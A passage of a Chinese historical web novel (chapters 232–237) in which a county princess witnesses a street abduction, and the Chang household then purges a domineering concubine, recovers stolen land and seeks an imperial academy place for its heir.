结果,陈湘湘到最后竟是只选了唇脂和一些膏粉,并未选首饰。 “那对耳坠子挺衬你的。我觉得你戴上以后显得娇俏灵动,刚才试着就好看。” “那耳坠子的确是灵动,只是我手上的银钱有限,待爹娘来了之后,我再来买也不迟。” 是个有分寸的。 许昭昭笑着抬眸,张娘子立马会意:“表姑娘好眼光,我们这里每一款耳饰都设计精妙,做工精细,而且因为有难度,所以您刚刚试戴的那一款,总共只有三对,且大小不一。您选中的正是中间一款,以您的身高和脸型,戴着正正好。” 陈湘湘可耻的心动了。 但她手上的银钱的确不够,难道要管兄长借吗? “将那对耳坠包起来吧,一会儿直接带走。” “是,主子。” 许昭昭发话了,张娘子自然照办。 陈湘湘先是一呆,随即反应过来:“表姐是要送我吗?” “傻丫头,你唤我一声表姐,我送你一样小玩意儿也是应该的。不过母亲为你选的女先生那里,你还是要好好敬着,不管是什么课,都得好好学,若是日后得了女先生夸赞,我再送你其它的。” 陈湘湘到底还是年纪小,且一直在家被宠着,这心性上就是没长大。 别看只比许昭昭小那么两岁,可心思太单纯了。 这种小姑娘,最好骗了呀! 许昭昭带着她在二楼喝茶,选好了东西,便干脆在这里歇一歇,顺带着开着窗子,还能看看外头的风景。 “闪开!常府缉拿逃奴,若有敢拦者,生死不论!” 许昭昭皱眉,好狂妄的家丁。 若在府上这般行事也便罢了,可此处是长安县,有县衙管着呢,怎能容得这等人放肆! “救命!还请哪位好心人帮忙报官,我不是他家逃奴,我是被人贩子迷晕带到京城的,我根本就不曾签过什么卖身契,我可是良家女子呀!” 许昭昭神色未变,陈湘湘则是好奇地自窗口钻出一颗小脑袋,想要好好看看是个什么情况。 “胡说八道!你都进了我们常府,那就是常家的下人。我们公子能看上你,那是你的福气。不过是一个贱丫头罢了,让你给主子暖床,那是给你脸面呢,你竟然还敢私下出逃,罪加一等!” 许昭昭则是快速地在脑子里搜寻着常家的信息,她怎么感觉没啥印象呢? 一旁的丁香也是一头雾水,一扭头,正好对上在门口站着的柱子。尐説φ呅蛧 “回禀主子,常家就是之前的宁阳伯府,前任宁阳伯过世,常家又犯了错,按律降爵后,如今的常家只有一个男爵的爵位。” 第232章 常府二三事 男爵,应该是最低的爵位了。 哦,对了,许君霆获封的好像就是个男爵。 “难怪我一直没什么印象。如今这常家做主的是谁?” “回主子,常家袭爵的是三爷常远,但是在常家真正说得上话的是常家的大爷常清,此人因是庶出,所以不得袭爵。但他生母极为受宠,他和常二爷是一母同胞。” 许昭昭听到此处就明白了。 难怪常家衰败得如此之快,应该就是府内乱了嫡庶吧。 “常家主母呢?” “常三爷的母亲早已过世,常伯爷去世后,常三爷袭爵,但是内宅的一些事还是被常大爷的生母孔氏攥着。” “孔氏?竟还是圣人姓氏,可是孔圣人的后代?” “这个小的不知道。不过听闻这位孔氏出身卑贱,还曾入过青楼,也因此,当年她再受宠,常家长辈们也不许她扶正。后来哪怕是她连生二子,常家长辈亦不许她代表常家在外行走。” 许昭昭点头,还行,至少常家曾经的长辈算是有点儿规矩的。 只可惜,那个昏了头的常伯爷是个傻的。 圣上向来看重嫡庶,且高门世家,哪一个不是把嫡出看得更重? 也就是常家,这样乱套。 “去派人查查,看看底下那恶奴到底是仗的谁的势,然后再想法子将刘起给请来。” “是。” 这种事情,好办得很。 只要让人围住他们,常家人便走不脱。 而且,常家人自诩是高门,可实际上的高门,却没有几家承认他们的。 或者说,常伯爷在世的时候,常家在众多贵人的眼中便是一个笑话。 如今常伯爷都死了,常家被降爵,常三爷如今也不过只是一个六品的官身,常大爷倒也是官身,可品级更低,正八品,还是常伯爷宠爱长子,承祖上蒙荫才得来的,所以自然不会有人放在眼里。 也就是常家人固步自封,内斗惯了,还真以为常家就是什么了不得的门户了。 当街强抢民女,这案子的确算是大了。 毕竟是天子脚下。 而且这些家丁口口声声说其是逃奴,而这女子又自称是被人贩子给迷晕带到京城的,事情总得查实才行。 女子口音一听,便知应该是京城再北一些的地方,明显不是京城口音。 所以,被拐来的可能性极大。 刘起这边其实有几分头疼。 他这还没审呢,常家就派人过来说项了。 他虽然不把常家放在眼里,但常家毕竟以前也辉煌了几十年,而且常三爷现在也是位爵爷,且在吏部做事,他也真不敢把人得罪狠了。 不过,前后不到一刻钟,常家竟然来了两波人。 一波自称是常府的,奉爵爷之命来将人带回去,咬死了就是抓逃奴。 还有一波,也自称是奉爵爷之命来的,不过,他却要求刘县令明察秋毫,还一再表示,爵爷从来不曾找过什么暖床婢! 最后三个字,倒是提醒了刘起。 这个丫头要被带去给何人暖床? 刘起心中稍一思量,便明白了其中关窍。 此事若是做好了,不仅不会得罪常家,兴许还能卖常三爷一个人情。 接下来,事情就好办多了。 女子的确是被人贩子迷晕带到京城的,而且也不知是怎么办的契书,反正就被带入常府了。 最后刘起这里命人一查,才知这女子身份存疑,因为若是奴契,为何官府没有备案? 女子也将一切都禀明,说是常大爷看中了她,执意要将她收房,但她不肯,这才拼死反抗。 “大人明查!半月前那恶贼便对小民心存歹意,小民拼死不从,当时身弱无依,只得拼命撞向桌角,如今还有一道疤痕在,大人可请人来查验!” 刘起一抬手,有人过去查看。 “回大人,的确是新疤,有些痂还未曾完全脱落。” “来人,传唤常家人。” 如今这女子的身份已经被查实,人家并非奴籍,至于怎么进的常府,这其中又是否能牵出一桩人贩子的大案来,可就不好说了。 常家大爷二爷都被请到了公堂之上,一番审问之后,事情也很快水落石出。 主要是这二人中,常二爷是白身,刘起直接先对常二爷下手,连吓带哄的,这常二爷便将一切都交待了。 人是他弄进府的,目的就是为了讨好大哥。 结果谁能想到这是个烈性子呢? 现在弄成这样,常二爷自然是脱不了身了。 至于常大爷,他自然是将一切都推得干净,一说便什么也不知道。 但是这种事,你说不知道,刘起就没办法了? 身为婢女,那自然是归内宅妇人管束。 如此一来,又将常大爷的生母孔氏给牵扯出来了。Www.XSZWω8.ΝΕt 到这一步,常三爷夫妇二人便不好再坐视不理。 孔氏只是一介妾室,一上公堂,便先被刘起给收拾了一番。 “我大兴律,你一介妾室,安敢如此打扮?来人,将其华服剥去,拖到门外杖二十!” “是!” 常大爷慌了:“大人,这是何故?” “哼!身为妾室,便是贱籍,怎敢着正红色、头戴凤簪明晃晃得上到大堂来?这是置我公堂于何地?眼中没有律法,也没有礼法了吗?” 一句质问,就将常大爷给堵在那儿了。 的确,孔氏只是一个小妾,哪来的胆子着正红色? 可孔氏在常家作威作福惯了,这么多年,好像一直都是这等打扮,如今想来,可不就是僭越嘛! 这是习以为常,便觉得理所应当了! 孔氏被脱簪剥服,之后打了二十板子后,便命人抬回去了。 这一番羞辱,可以说是让常大爷都无地自容了。 最终的结果,当然不可能这么快就给,因为常二爷被收押了。 常三爷夫妇若无其事得回到府中,之后不等孔氏这里做出反应,三夫人便安排人将院子团团围住,然后将一应物什全都搬走,只余下一张床榻和一张桌子。 莫说是其它饰物了,连放花瓶的多宝架都被移走了。 常大爷在外为了二弟的事情奔走,三夫人这里派人拿着单子,到其它两房挨个的收东西,有理有据,这两房的夫人哪一个敢硬刚? 第233章 分家? 许昭昭听闻柱子打听来的消息后,若有所思。 她对常家没有什么印象,实在是这京城官员多如牛毛,像常家这样的人家,已经算不得什么权贵之家了。 “去查查,常三爷承了爵位几年,却是直到如今才动手,而且一击即中,这背后定有高人指点。” “是,小的即刻去打听。” 柱子应声后,却没有急着退下,抬头打量了一眼主子的神色,又道:“敢问主子,可要往常府也安插几个眼线?” 许昭昭想了想,常三爷如今的官职不高,但对比于其它常家人而言,却是实权小官。 而且常三爷膝下数子,听闻竟是一个纨绔都没有,可见是个相当有耐心且有本事的。 “你看着安排吧,只是切莫惊动了常家人才是。” “小的明白。正好如今常府内部换天了,不少奴仆被打发掉,小的想着这是个机会。” “不错,去办吧。” 许昭昭独自坐在桌前,手指轻叩,一个小小的常家,能如此雷厉风行,实在是她没想到的。 先前听闻常家内宅一直是那位老妾孔氏做主,没想到,只是一场街上的强抢逃奴的戏码,就让孔氏彻底地失了倚仗。 一个被官府当众脱簪打板子的女人,还能再有什么颜面在府中作威作福? 常家的人动作的确是相当快,常二爷还没被救出来呢,以前孔氏管着的常家产业被迅速地都挖出来。 孔氏自然不甘,她自己趴在床上,面色苍白,还不忘了叫嚣。 “你们这是以下犯上!那是我的产业,是我儿和我孙儿的,你们胆敢如此,这是谋夺主子家产,待回头老身一状子告到官府,定治你们一个谋害主子之罪!” 被派过来的婆子是三夫人身边的人,自然不怕她这个。 而且这些年,孔氏仗着老太爷的势,可没少欺负嫡子一脉。 “哟,孔老姨娘这是哪儿来的气性呀?你不过是一个低贱的妾室,你手里头的那些产业都是我们常家的,莫说是三爷袭爵,是众人皆知的常家主子,就只说三爷是嫡子这一条,这常府至少七成以上的家产都是三爷的。就算是到了官府,我们又有何惧?” 孔氏瞪大眼睛:“你个老刁奴!那是我的!是以前太爷赏给我的。” “你的?你可有凭证?这上面明明白白写着的是常家人的名字,老姨娘倒是好厚的脸皮呀,什么都敢说成是你们孔家的,这等厚颜无耻,你的娘家人是不是也同样作派?” 孔氏被气得血气上涌,再加上本就有伤,竟是一时间没控制住,晕过去了。 婆子被吓一跳,确认过还有气息,只是晕了,便一脸鄙夷道:“还真是认不清楚自己的身份,妾就是妾,先前仗着老太爷的宠爱欺负我们三爷三夫人,如今没了倚仗,便是我们三爷发卖了你又能如何?” 一席话,孔氏自是听不到。 可是候在跟前的两位夫人却是听到了,这一刻,她们才突然意识到,好像真得要变天了。 她们二人嫁进府中多年,虽说不敢直接与三爷三夫人对着干,但是明里暗里没少给他们使绊子,占便宜的事更是顺手拈来。小說中文網 如今要被清算,她们自然是害怕。 尤其是二夫人,她男人还在大牢里头关着呢,她的儿女都会因为这件事受到影响,这可如何是好? 没等常二爷出来,常三爷先将族中长辈们请至府中,同时,也命人将庶长兄给叫回来了。 常大爷这些日子忙得焦头烂额。 不仅仅是他自己的事,还有二弟的事,再加上夫人也在耳边哭哭啼啼,说是屋内不少东西被抢了,可他又能如何是好? 人家是拿着当年老夫人的嫁妆单子过来的。 无论这些东西是怎么到的老太爷手上,后来又怎么送到孔氏手上的,这些都不重要。 重要的是,这些是老夫人的陪嫁。 就只这一点,他们就无可奈何。 难不成真的让人传出去,说他们常家以庶灭嫡? 那是要被下狱的! 常大爷刚从县衙回来,茶都没喝上一口,就被叫到前厅去了。 这一看,心中暗道不妙。 “今日劳烦几位叔伯前来我们兄弟三人做主分家一事做个见证。” 嫡庶有别。 这家怎么分,虽然不是常三爷一人说了算,但绝对不是常大爷能做主的。 按规矩,常家家产七成要留给嫡子继承,况且常三爷如今还是爵爷,这府邸先前被改过一回,因为不合规制,所以已经小了一圈,但还是属于常三爷的。 余下的家产,那便好分了。 这几日,常三夫人整顿内宅,就是想着先把婆母的那些东西都收回来,因为是先太夫人的嫁妆,所以这些东西都应该由三爷继承,庶子们是没有资格分的。 要分的,也只是他们兄弟几个的祖上留下来的家产。 先前被孔氏暗中私自霸占的一些商铺田庄,如今还在对账细查,这其中孔氏和她的儿孙们贪没了府上多少银钱,很快也就有个结果了。 常三爷今日将长辈们请来,并非是为了分家,毕竟老二不在,今日这家是分不成的。 只是打着这个幌子,之后的重头戏才好唱起来。 果然,一听分家,常大爷立马就反对。 “三弟,就算是要分家,也得等二弟回来吧?” 其它几位族老也是这个意思。 他们以前其实多少有些偏向于孔氏这一脉,但是实际上,有没有乱了礼法,他们自己心中有数。 现在明显是嫡系一脉势大,他们这些老人家再眼盲心瞎,也知道不能得罪。 “按理说,是得都在,这分家才能服众。” 常三爷笑道:“几位长辈言之有理,大哥也先别急,我今日只是请大家过来先商议一下。毕竟分家也不是三言两语便能敲定的。说句不中听的,咱们家中如今没有长辈,所以才会劳烦几位族老们多跑几趟了。日后小辈当家做主,诸多事情,也少不得要向几位长辈们讨教。” 这话说得明白,意思就是他常三爷虽然以后当家做主了,但也是敬重几位族老的,算是给族里吃颗定心丸,他没有翻后帐的意思。 第234章 好好算算账吧 常大爷脸色微僵,知道自此之后,这常府便是这个三弟做主了。 孔氏被当众责打,斥其无礼,有违纲常,这已经是让整个常家都丢脸至极。 如今,便是有先前收了孔氏好处的几位族老,也万不敢再向着她说话。 “今日请几位长辈来,其实也还是想要说一下祖产之事。” 常家最初是伯爵的爵位,自打被封了伯爵之后,他们这一脉便做主给族里买了一百亩的祭田,之后,这一百亩的祭田所出,基本上都是用于供奉宗祠、供族内优秀子弟读书之用。 除此之外,伯爵府也会再供应族里一定的银钱,至于数目多少,这个并不是固定的。 至常三爷这一脉,常家所有的田地,总共还有四千余亩。 这其中有上面赏赐下来的,也有常家几代人积攒下来的。 按理,这四千余亩田地,自然是该三爷这一房拿大头,良田也得先紧着他来得。 分家后,先前伯爵府给族里出银钱的事,自然就会落到常三爷头上,至于常家其余二房,愿意出,那是他们有能力,有孝心,若是不愿意,旁人也奈何不得。 常大爷心头直跳,总觉得要出什么事。 果然,等到账房拿着册子过来禀报之后,所有人脸色都变了。 无它,账上应该用的四千余亩田地,竟然生生少了一千亩! 那可是一千亩呀! 京城地贵,尤其是距离京城近的这些田地,甚至可能要二十贯钱才能得一亩,而再远一些,也得十几贯钱。 比如蓝田县,那里因为离着京城稍远,可也得十贯钱一亩良田,若是七八贯钱的那种,基本上都是中等田。 这下子,诸位族老们坐不住了。 常大爷额头上都开始冒冷汗,因为这上面有孔氏的印鉴,还有孔氏手底下管事的条子。 “好大的胆子!那可是一千亩良田,若是告到官府去,只怕是全家都要跟着受牵连。你莫怕,直接说,如今这一千亩良田在何人手上?” 账房此时跪在地上,脸色苍白:“都是孔夫人做主,将这一千亩田地过到了孔家人头上。这,这是前年的事了。”仦說Ф忟網 前年? 那个时候,太爷的丧期未过,当时常家几位爷都在守孝,可谁能想到,孔氏竟然能在这个时候出让一千亩的良田? 这可是大罪! 常大爷扑通一下子,便跪在地上。 无论如何,孔氏是他的生母,他如今还是官身呢,这等事情,万万不能闹大,否则,定会连累到他身上。 “还请三弟宽恕,呃,不,请三弟宽限几日,为兄即刻将这一千亩良田要回来,那毕竟是我的娘舅家,还容我去说项一二。” 砰! 族长怒道:“什么你的娘舅家?孔氏只是妾!按礼法,孔家哪来的脸面做我常家的亲家?” 常大爷脸色再次变幻,也怪他情急之下说错了话。 “是是是,族长教训的是,小辈这就去孔家将良田讨回来。” 常三爷则是一脸平静:“兄长且慢。” 常大爷原本已经起身往外迈了两步,又被叫住,还以为是三弟不愿意。 “三弟还有何吩咐?” “不敢。只是你先别急,且坐下听他慢慢说。孔家人侵占我常家的,不仅仅只有良田,还有三间商铺呢。据我所知,这商铺过给孔家前,一年的盈收在百贯钱以上,所以,这又该怎么算?” 常大爷腿软得站不住,谁能想到孔氏竟然这般大胆,连商铺也给转出去了。 “除此之外,还有当年我母亲的陪嫁庄子一座、红珊瑚一对、古董字画若干、金银首饰若干,如今皆不知去向。在座诸位也都知道,自我母亲过世后,这内宅可一直都是孔氏在打理。我母亲的这些东西,也都是在孔氏打理期间不见的。” 常大爷还有什么不明白的? 孔氏出身寒微,若非是因为被抬进了常府,怕是他的那些个娘舅们都死绝了,哪里还能有如今的好日子过? 所以,孔氏不可能有这么多的好东西。 但是孔家真的有,那这些东西是怎么来的? 这一刻,常大爷觉得自己的面皮被人掀下来还不算,硬是被人当众踩上几脚,而他偏偏还无法辩驳,这才是最令他动怒的。 常大爷只觉得喉头涌上一股腥甜,最终还是努力压下去,再三保证自己三日之内,一定将这一切都物归原主。 其实,孔家占的好处岂止是这些? 只是余下的那些东西,要么就是老太爷先前接济的,要么就是一些个散碎钱。 常三爷也不屑于跟他们去较这个真。 只是属于母亲的东西,他都得讨回来。 而常家的一千亩良田,那也必定要追回,因为那是他常三爷要继承的祖产。 孔家人会愿意吗? 他们当然不愿意! 可常大爷也是有备而来,岂会容得他们这些亲戚放肆耍赖? “好呀!几位若是觉得不甘,那便去官府鸣冤吧!且看看到时我那个三弟会不会将你们一门全都反告,届时莫说是这些个东西,整个孔家都得被扒干净,连墙皮都能给你们揭下来!” 一席话,将孔家众人吓得不轻。 他们虽然觉得常三爷应该没有那么绝情,可是常大爷一席话又让他们都认清了现实。 “绝情?你们凭什么认为会跟三弟那里有情份的?你们是他的亲眷吗?你们只是一个小妾的娘家人,按理来说,甚至都不算是常府的正经亲戚!” 一番话,说得众人哑口无言。 不管孔家人愿不愿意,最终,到手的东西,还得忍痛都让出去。 这一回,常大爷是想的周全到位了。 “这些还不够!” 孔家人瞪眼:“什么意思?这些我们可都还回去了,不管是田地还是商铺,这契书都在呢,你可不能帮着常三来讹我们!” 常大爷冷笑:“讹你们?也不想想你们是什么身份!这些东西在你们手上待了几年,得了多少利钱,你们真以为常三不知道?既然他敢直接当众揭开,定是做了万全的准备,你们把大头都吐出来了,还差那些个蝇头小利?” 孔家人吐血,那是蝇头小利吗? 合算下来,怕是要有上千贯钱呢! 这真是要了命哦! 第235章 来场交易吧 不管孔家人愿不愿意,民不与官斗,更何况他们孔家还没理! 第二天,孔家人便捏着鼻子把房契地契等一应物什都备好,又命人抬了几十箱子的铜钱往常府送去。 常三爷看到这些东西后,心里总算是舒坦一些,但并非是所有的东西孔家都能归还。 比如说,当年他母亲陪嫁的一首首饰丝帛等物,这些可能早已被孔家人用掉或者是变卖,所以他们只能是咬牙合成银钱送来。 除此之外,还有一件棘手之事。 按说分家之后,孔氏应该是跟着自己的亲子别居。 但当年老太爷宠爱孔氏,所以自孔氏进门后,便一直住在离老太爷书房最近的院子。 孔氏不愿意搬离此处,只说是思念老太爷。 对此,常三爷自然是不信的。 若真的是思念老太爷,何不一条白绫直接上吊? 那样也不必你思念了,直接在黄泉路上便能遇到。 除了这些之外,孔氏这些年从常老太爷手里头弄走了不少好东西,比如说有上百亩的良田,也有珠宝首饰,但是这些东西,因为是老太爷给的,所以常三爷也不好直接追回来。 可若是任由孔氏这般自在,常三爷又觉得心头堵得慌。 不仅如此,当年孔氏还利用太爷的宠爱,硬生生地将一个监生名额给了二房的子嗣。 而嫡系这一脉的几个孩子,都只能是自己想办法苦读。 要知道,监生是不必参加前头的那些科考的,直接以监生的身份,便可参加会试,这等于是比别人起步高了好几级呀! 那些身外之物,常三爷可以不计较,但是事关自己儿子的前程,他这辈子都不能原谅那个死去的老头子。 常元德尚未成婚,如今还要备考乡试,这怎能不让常三爷气闷? 许昭昭这边也总算是得了准信儿。 常三爷和常元德父子俩都不简单,尤其是常三爷,多年的隐忍,可见其心性之坚毅。 一个孝字在上面压着,他便是不想忍,也只能忍。 总算是熬到老太爷去世,后面又因为要守丧,而且他还是官身,自然就不能着急动孔氏。 也正是因为常三爷没有第一时间对孔氏下手,反倒是让孔氏和两位庶兄以为他胆小懦弱,根本不敢跟他们反抗。 这下子好了,直接来一把大的。 现在摆在常三爷面前的,就是两个难题。 一,便是他想让孔氏搬出去,但孔氏坚持不搬,甚至以死相逼,在常三爷看来,她就是故意留下来硌应人,想要将整个常府搅得鸡犬不宁。 第二,便是关于儿子常元德的前程。 常三爷还是很看中这个嫡长子的,或许是因为厌恶父亲的宠妾灭妻行为,所以常三爷并未纳妾,身边连个通房丫头都没有,膝下所出皆为嫡子嫡女。 这样的家风,倒是给常元德兄弟姐妹们开了个好头。 “柱子,以百果园的名义给常三爷下贴子,就说是有要事相商。” “是,主子。” 许昭昭没打算亲自去见他,毕竟自己是一个未出阁的姑娘,虽说常三爷也算是长辈,但实在是不妥。 可如今身边没个得用之人,许昭昭最终只得安排柱子出面了。 柱子为许昭昭办事,只要是在外行走,都知道他就是安乐县主的代言人,相信常三爷一见面便能领会。 常三爷也没想到,竟然能收到百果园的贴子。 他还纳闷儿呢,莫不是想要让他常家的铺子里也卖百果园的酒水? 等见了面,常三爷身边的人小声提醒道:“老爷,这位是安乐县主手下的管事,这两年都是在为安乐县主做事,听说去年奉命去了一趟南诏,今年开春才回来的。” 常三爷这下子明白了自己要和什么人对话,心中有数了。 “小的给常爵爷请安。” 常三爷虽然是个爵爷,而且也有官职,但是在二品的安乐县主面前算个屁呀! “快快免礼,这位管事是?” “哦,小的名唤柱子,当年家父家母蒙侯爷所救,所以特允家父跟着姓许了。所以外头的人都唤小人一声许管事,也是大家伙给几分薄面,在爵爷面前,小人可不敢摆这个谱,您直接唤小的一声柱子便是。” “许管事何必自谦?你年纪虽小,却是出了名的会办事,且听闻极得安乐县主信任。还望日后有机会,能在县主面前为某美言几句才是。” 就冲着许柱子称呼他爵爷,而非三爷这一点,就让常三爷对他好感倍增。 许柱子笑着请人入席,之后又得常三爷几次催让,这才敢与其对坐。 这番作派,就体现出了对常三爷的敬重。 许柱子虽然只是一个下人,但俗话说宰相门前还五品官呢! 安乐县主深得圣宠,且刚刚还赐了食邑,这等荣耀,是多少男儿都比之不及的。 安乐县主身边的仆役,那能是一般的仆役吗? 便是县令也不敢对许柱子吆五喝六的。 “爵爷,其实今日约您出来,可不是小人的意思。” 此时屋内已无旁人,许柱子也便开门见山:“我家主子有言,可助常家大公子入国子监,同时,也可让孔氏心甘情愿地搬出常府。” 这正是常三爷在头疼之事,想不到安乐县主竟然已经知晓了! “不瞒爵爷,当日在大街上发生的事,正好被我家主子亲眼所见,还是她安排人尽快去通知了县衙。我家主子是个心地善良之人,也向来重规矩。最重要的是,我家夫人曾多次夸赞常夫人,主子便对常夫人心生钦佩之意。” 常三爷虽说是对许柱子这个管事的作派很满意,但他不是傻子,没有无缘无故的示好。 “还请许管事明示,县主可是有什么需要在下效力之处?” 许柱子心中暗暗称奇,真让主子给说着了。 “爵爷是个爽快人,小的也不跟您绕弯子了。我们主子被赐了食邑在蓝田县,已经那边已经在加紧建造,只是如今地多人稀,主子听闻您有位族侄在户部做事,想着请您帮忙递个话,看能不能查查京城附近是否有无法安置的流民残障,我家主子都不嫌弃,只要不是一个全无用处的废人即可。” 第236章 达成 这个理由,常三爷却是不信的。 “你家主子身份尊贵,只要她言语一声,什么样的人不会捧着册子主动找来?又怎会去寻一流外小吏来帮忙?” 这些竟然都在主子意料之中,许柱子是真服气了。 “不瞒爵爷,如今我们侯府过盛,也不是好事。况且如今侯爷和二公子都在边关征战,留守在家的亲眷们自然更是要低调做人,哪里还敢四处招摇?另外,说到底,我们主子只是一介女流,也不好与朝廷官员有过多来往,否则,今日来见您的,就不是小人了。” 这个倒是可以理解。 男女有别嘛。 “当然,爵爷谨慎,小人也不敢有所隐瞒,我们主子听闻尊夫人娘家于打造金银器械很是精通,所以,还想着拜托能否收下几个学徒。” 柱子见常三爷面有异色,连忙道:“爵爷放心,我们主子不想偷师,只是单纯的想要给几个孩子寻个出路,只学会如何打造即可,届时我们主子正好可以安排到蓝田县去,也算是给他们谋一份生计。” 常三爷拧眉:“若我没猜错的话,县主手中产业颇多,何必还要舍近求远?” 柱子叹气:“不瞒您说,若是寻常人,我们县主也不会这般头疼,还绕弯子求到您这里。实在是没有法子了。都是之前侯府亲兵的家眷,若是对方不提也就罢了,可是人家提出来想学门手艺,你说我们县主若是不应,岂非是让夫人为难,又让这些人寒了心?” 常三爷大概明白了,原来是侯府自以为欠了人家的一条命,所以人家提出来了,他们也不好推辞。 这才求到他跟前。 常三爷为官多年,又在一个偏心的父亲手上讨生活,自然也不是个笨的。 应该是许昭昭原本就有这份需求,正好看到自家出事,所以这才提出来想着互惠互利。 “若只是为了求一份手艺,倒也不必让县主大费周折。只要县主吩咐一句,我等自然办好。” 柱子知道他是松口了,又连忙道:“有您这句话小的就算是没有白忙活。我们侯府新来了一位表公子,读书也不差,如今虽是在书院读书,但是过些日子也是要入国子监的,考虑到入国子监的时日相近,所以二位公子极有可能分到一处,还望常公子能多多照应才是。” 常三爷拱手:“好说好说!” 常三爷回府后,即刻派人去打听。 他和侯府没有来往,他是文臣,许翰是武将,文武官员也不好走得太近,况且,以常家如今的能耐,也贴不上侯府呀。 “老爷,小的打听清楚了,侯府的确是来了位表公子,是侯府老夫人娘家那边儿的,名陈琮,听闻幼时也曾在侯府小住过,而且一同来的,还有一位陈小姐。” 常三爷没当回事,倒是一旁的三夫人郑氏闻言眼前一亮:“你说还有一位表小姐?” “正是,那位表小姐约莫十三四岁的年纪,听闻和安乐县主很亲近,近来安乐县主外出,也时常带着她。” 常三夫人再一回想老爷先前说的话,心中隐隐有些猜测。 “你说安乐县主看中咱们家的元德了?” 三夫人瞪他:“胡说八道什么?那是县主看中了吗?我瞧着应该是安乐县主有意搓合,而且那个许管事为何在你面前故意提及我?这样,明天我带上礼物登门道谢,再透透许夫人的口风便是。” 常三爷有些为难:“你能见到许夫人?” “那有什么不能的?虽然咱们两家素无来往,但我好歹也是位男爵夫人呀,正好借此试探一下,若是她不见,那咱们也就不指望了。” “明天登门太过失礼,先递贴子吧。” “好。” 次日常三夫人便命人递贴子给王若兰,之后王若兰命人回复说是三日后再招待她。 郑氏很高兴:“我就觉得侯府应该是有这个想法的。咱们元德读书不差,只是先前因为公爹的丧事,这才耽误了科考。如今若是有机会能直接入国子监读书,又何必舍近求远?” 常三爷点头:“也罢,此事就先应下。” 常府已经分家,常二爷最终还是被大哥给花银钱弄出来了,但是县衙那边可没有完全放松,只说出狱可以,但是没得到县衙首肯之前,常二爷不能离开长安县。 若是出京,没有路引,常二爷哪也去不了,除非是真的想要逃难。 孔氏执意不肯搬走,常大爷却收到了一封信,看到上面所写内容之后,便二话不说的冲进常府,然后拉住孔氏就是一顿恳求。 “娘,跟儿子走吧。如果你真的住在这里,只怕二弟就得吃牢饭,连我都得跟着吃瓜落呀!” 孔氏不解,她还想着给常三添堵呢。 她可是在常家威风了几十年,怎么可能这么轻易地就放弃? 就算是她不可能再有管家权了,那也得让常三难受几天。 “娘,算儿子求你了,走吧。” 这里不清静,常大爷也不敢跟她说太多,最终还是强行将孔氏给接走了。 孔氏一走,郑氏觉得整个府里头的空气都变了味道。 孔氏前脚走,郑氏后脚就安排人将那里的东西都撤了,要么直接赏给下人用,要么就是扔到外头去,再不然就是送到当铺变现。 反正,这处院子是空出来了,郑氏还琢磨着先好好晾上大半年,来年再修整一番,太早住进去,她是真怕会有晦气。 常三爷也对于安乐县主的本事瞠目结舌。 这么简单就办完了? 再之后就是入国子监求学的事了。 能进国子监读书的,除了富贵公子之外,还有一小部分的寒门学子,他们是凭借着才华以及推荐信才能进来读书。 在国子监读书是不花钱的,所以众多的寒门学子挤破了头都想进来。 而对于那些官二代们而言,这里不过就是他们走一遭镀个金的地方而已。 这其中大部分人是不需要科考的,只要最后他们能在国子监的考试中合格,那么,便会得到师长或者是其它官员的举荐入朝。 这么一对比,好像的确是条捷径呢。 第237章 弹劾 常元德有才华,但是再有才华,如果是层层科考,必然是需要时间的。 就比如说许君霆,他便是在国子监读的书,但他是正经参与过乡试的,那便不一样。 这于满朝文武而言,那就是通过科考正经入朝的。 但他直接参与乡试,是等同于普通人通过县试、府试、院试,层层考上来的秀才一般,十七八岁的秀才郎听起来好像不少,但实际上在一个县里头,十七八岁就中秀才的,一般不会太多。 教育资源在这儿摆着呢,不是你寒门学子真的埋头苦读就能考得上的! 诸多学问、大儒经典等等,诸多都是你不曾接触过的,真要是考这个,你怎么能会? 童生好考,那是因为这考的就是一个基本知识,只要你会背会写,基本上就稳了。 到秀才时,就会多少沾一点大局观了。 而乡试,那就更上一层楼,题也更难。 为什么说寒门学子更让人钦佩,就是因为人家用所学的知识,来解决未曾遇到过,甚至是未曾听过的问题,这就是本事! 总而言之,官宦子弟,或者说是富贵人家的孩子考科举,更有优势。 比如说当初许君霆以监生的身份参与了乡试,中榜后,又能去万年县跟着学习一段时间,这可不是花钱就能去的。 凭的是人脉关系,凭的是身份地位呀! 你一个农家人出来的举人,你试试,看看真的想要插手一县事务,真能这么容易? 县令请你过来议事,你才能有这么一个参与权,不请你,你就只是一个举人老爷。 所以,常三爷这些年一直在想办法把儿子送到国子监去,哪怕是在里头只读一年,只要经过考试,那便是前程有望了。 许昭昭去找了一趟舅舅,第二天早朝上,便有人弹劾常家无视礼法,甚至将已逝的那位常伯爷也给搬出来,大骂他宠妾灭妻,以庶灭嫡,有违纲常。 像是这样的朝会,常大爷和常三爷都是没有资格参与的。 常三爷是实权官,但还差了半级。 很快,国子监祭酒也站出来,面对御史的指责,也承认他们国子监的确是曾在五年前收过一名学生,但对方是常伯爷亲自带去的,而且按规矩,常家的确是有一个监生名额的。 但是谁能想到,那竟然是个庶子家的孩子。 常大爷的官本就不是正经举荐,再加上品级低,所以他的孩子是没有这个资格的。 而常三爷是正经的爵爷,虽说是末等爵位了,但也是爵位。 所以,常三爷的儿子,原本就是有这么一个资格的。 只是如今国子监已经有了一位常家子嗣,所以不能再让常家子入学,这似乎是陷入了一个怪圈。 已经进去的那个,本来就是名不正言不顺,应该说就是常伯爷以庶灭嫡的证据。 而现在想进去的这个,是正经有资格,但却因为国子监的规矩,又进不去的可怜学子。 这么一摊开来,好像受委屈的,还是常三爷父子。 永安帝听明白了这番争执之后,微微蹙眉:“此事再简单不过,那个常家的学子如今在国子监如何?各科课业能列第几?” 国子监祭酒一扭头,负责直接带学生的一位国子博士站出来:“回陛下,常学子课业一般,资质平平,去年岁末的考核中,只有一科是乙等,其它皆为丙、丁。”仦說Ф忟網 永安帝重重一哼:“那个叫常元德的呢?可有人知晓?” 既然不在国子监读书,国子博士自然并不知其才学如何。 付沛站出来道:“回禀陛下,微臣与这位常元德相识,其字遒劲有力,且擅诗词。前不久,微臣还曾在一场诗会上与其相遇,其诗才,在坊间也算是小有名气。” 王文远也出列道:“回禀陛下,微臣也识得这位常公子,一手好字,臣是见过的,听闻其谦谦君子风,还曾在书院里接济过几位寒门同窗,至于其学识如何,微臣就不得而知了。” 王长庚站在文官队伍里不吭声,在帝王面前举荐人,可是要讲策略的。 真要是人人都夸得天上有地上无的,那才叫糟。 